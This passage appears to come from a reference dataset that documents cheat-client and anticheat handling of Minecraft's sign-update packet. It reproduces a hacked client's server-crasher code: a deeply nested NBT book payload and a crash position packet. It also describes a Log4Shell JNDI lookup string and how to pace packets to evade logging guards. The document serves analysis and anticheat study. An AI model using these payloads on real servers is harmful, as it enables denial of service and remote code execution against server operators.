NBTTagString(\"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                }\n\n                tag.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setByte(\"resolved\", (byte) 1);\n                tag.setTag(\"pages\", list);\n                final ItemStack book = new ItemStack(Items.writable_book);\n                book.setTagCompound(tag);\n                final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                buffer.writeItemStackToBuffer(book);\n                PacketUtil.sendPacket(new C17PacketCustomPayload(\"MC|BEdit\", buffer));\n                break;\n            }\n\n            case \"AAC5\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(1.7E301, -999, 0, true));\n                break;\n            }\n        }\n    }\n}\n// NOTE (AI): Sign mode sends a C12PacketUpdateSign with BlockPos.ORIGIN and one IChatComponent whose text is the Log4Shell lookup string ${jndi:rmi://localhost:3000}. The server-side processUpdateSign only writes sign text for a loaded TileEntitySign the player owns, so on a normal server the packet is dropped at the tile entity check; the intended kill is a server whose chat/command logging pipeline formats the packet's string through log4j. The other array entries are empty IChatComponents, which is valid because the server writes whatever the four lines contain.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Crasher.java",
      "vanilla_hook": "onPreMotion (PreMotionEvent), PacketUtil.sendPacket.",
      "anti_cheat_notes": "Needs a vulnerable server; on patched servers the string is stored as literal sign text. The packet rate is one per tick, low enough to evade rate-based logging guards.",
      "variations": "The same module carries the identical string in the Log4J mode through C01PacketChatMessage and in Book mode through C0EPacketClickWindow."
     },
     {
      "name": "Freecam (whitelist)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Pass C12 through the freecam packet whitelist so sign edits still reach the server while the camera is detached.",
      "how_it_works": "The onPacketSend allow list includes C12 alongside C10, C0E, C16 and C02; all other serverbound packets are cancelled during the freecam session.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/render/Freecam.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.render;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.BlockCollideEvent;\nimport dev.rise.event.impl.other.MoveButtonEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.MoveUtil;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport store.intent.intentguard.annotation.Exclude;\nimport store.intent.intentguard.annotation.Strategy;\n\n@Exclude({Strategy.NUMBER_OBFUSCATION, Strategy.FLOW_OBFUSCATION})\n@ModuleInfo(name = \"Freecam\", description = \"Allows you to view your surroundings\", category = Category.RENDER)\npublic final class Freecam extends Module {\n\n    private final BooleanSetting fly = new BooleanSetting(\"Fly\", this, true);\n    private final NumberSetting flySpeed = new NumberSetting(\"Fly Speed\", this, 1, 0.1, 9.5, 0.1);\n    private final BooleanSetting noClip = new BooleanSetting(\"No Clip\", this, true);\n\n    private EntityOtherPlayerMP freecamEntity;\n    public static double startX, startY, startZ;\n    private float startYaw, startPitch;\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        flySpeed.hidden = noClip.hidden = !fly.isEnabled();\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.thePlayer.ticksExisted < 5) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            return;\n        }\n\n        if (noClip.isEnabled() && fly.isEnabled())\n            mc.thePlayer.noClip = true;\n\n        if (fly.isEnabled()) {\n            mc.thePlayer.motionY = mc.gameSettings.keyBindJump.isKeyDown() ? flySpeed.getValue() : mc.gameSettings.keyBindSneak.isKeyDown() ? -flySpeed.getValue() : 0;\n\n            if (MoveUtil.isMoving())\n                MoveUtil.strafe(flySpeed.getValue());\n            else\n                MoveUtil.stop();\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (!(p instanceof C01PacketChatMessage || p instanceof C08PacketPlayerBlockPlacement || p instanceof C0FPacketConfirmTransaction || p instanceof C00PacketKeepAlive || p instanceof C09PacketHeldItemChange || p instanceof C12PacketUpdateSign || p instanceof C10PacketCreativeInventoryAction || p instanceof C0EPacketClickWindow || p instanceof C0DPacketCloseWindow || p instanceof C16PacketClientStatus || p instanceof C0APacketAnimation || p instanceof C02PacketUseEntity))\n            event.setCancelled(true);\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S08PacketPlayerPosLook && mc.thePlayer.ticksExisted > 1)\n            event.setCancelled(true);\n    }\n\n    @Override\n    public void onMoveButton(final MoveButtonEvent event) {\n        if (fly.isEnabled())\n            event.setSneak(false);\n    }\n\n    @Override\n    public void onBlockCollide(final BlockCollideEvent event) {\n        if (noClip.isEnabled() && fly.isEnabled())\n            event.setCollisionBoundingBox(null);\n    }\n\n    @Override\n    protected void onEnable() {\n        freecamEntity = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n        freecamEntity.setPositionAndRotation(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);\n        freecamEntity.rotationYawHead = mc.thePlayer.rotationYawHead;\n        freecamEntity.setSprinting(mc.thePlayer.isSprinting());\n        freecamEntity.setInvisible(mc.thePlayer.isInvisible());\n        freecamEntity.setSneaking(mc.thePlayer.isSneaking());\n\n        mc.theWorld.addEntityToWorld(freecamEntity.getEntityId(), freecamEntity);\n\n        startPitch = mc.thePlayer.rotationPitch;\n        startYaw = mc.thePlayer.rotationYaw;\n        startX = mc.thePlayer.posX;\n        startY = mc.thePlayer.posY;\n        startZ = mc.thePlayer.posZ;\n    }\n\n    @Override\n    protected void onDisable() {\n        if (freecamEntity != null) {\n            mc.theWorld.removeEntityFromWorld(freecamEntity.getEntityId());\n            mc.thePlayer.setPositionAndRotation(startX, startY, startZ, startYaw, startPitch);\n        }\n        mc.thePlayer.noClip = false;\n        mc.thePlayer.motionY = 0;\n        MoveUtil.strafe(0);\n    }\n}\n// NOTE (AI): C12 is allow-listed in Freecam's onPacketSend whitelist alongside C10 and C0E. The rationale is the same as C10: sign edits are user-initiated GUI actions that should still reach the server while the camera is detached and movement packets are suppressed.",
      "code_source": "Rise 5.99, dev/rise/module/impl/render/Freecam.java",
      "vanilla_hook": "onPacketSend (PacketSendEvent).",
      "anti_cheat_notes": "No detection relevance beyond the movement suppression the whitelist is part of.",
      "variations": "No comparable whitelist in the other 7 clients."
     },
     {
      "name": "LuaEventPacket (script bridge)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose the serverbound packet id space to the Lua scripting API: C12 resolves to id 0x12 so scripts can recognize sign commits by id.",
      "how_it_works": "A static block maps every serverbound play packet class to its 1.8.9 wire id, C12PacketUpdateSign to 0x12. The constructor resolves the id from the EventPacket payload via getOrDefault (falling back to -1) and stamps a direction string ('out' for EventPacket.Out, 'in' otherwise); Lua event wrappers then pass the id and direction to scripts. The map exists because runtime obfuscation would break reflection-based lookups.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n\n\n// NOTE (AI): Same wrapper as the C11 entry: C12PacketUpdateSign maps to 0x12 in the hard-coded id table. The wrapper is read-only visibility for scripts; the actual sign-edit flow still runs through the vanilla GuiEditSign close path.\n",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.In/Out bus events translated into the Lua wrapper; no packet is constructed or sent here.",
      "anti_cheat_notes": "None: the wrapper only reads the packet class. The id map gives scripts awareness of sign commits, not the ability to forge them.",
      "variations": "Rise 5.99 is the only client with active C12 module logic (Crasher, Freecam); November Recode 2.0's hit is passive plumbing."
     }
    ],
    "general_hooks": "C12 is reached through generic PacketSendEvent handling in Rise 5.99; November Recode 2.0 sees it only through the LuaEventPacket wrapper.",
    "client_variations": "Rise 5.99 is the only client with module-level C12 references. All other clients emit C12 exclusively from the vanilla GuiEditSign close path; November Recode 2.0 additionally maps it in the Lua wrapper.",
    "related": [
     "S33PacketUpdateSign",
     "C0EPacketClickWindow"
    ],
    "anticheat": {
     "overview": "The sign-update packet is a thin but real anticheat surface. NoCheatPlus runs its AutoSign blockplace check on sign edits, timing the edit against the placement and the line content, and Intave kicks players whose sign lines exceed a length limit, which is the crash-exploit angle of this packet.",
     "checks": [
      {
       "name": "AutoSign (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Catch instant sign-text macros that fill all four lines faster than a human can type.",
       "how_it_works": "After a sign is placed, the blockplace listener stores a block hash and the open time. On the sign edit, the check compares the block hash, then estimates the minimum human edit time from the line count and the distinct characters (150 ms base, 50 ms per extra line, 50 ms per character). An edit faster than the estimate flags, with the violation level scaled by the time deficit.",
       "detects": "Auto-sign macros, instant sign spam, and sign edits sent against a different block than the one placed.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/blockplace/AutoSign.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.blockplace;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport org.bukkit.Material;\nimport org.bukkit.block.Block;\nimport 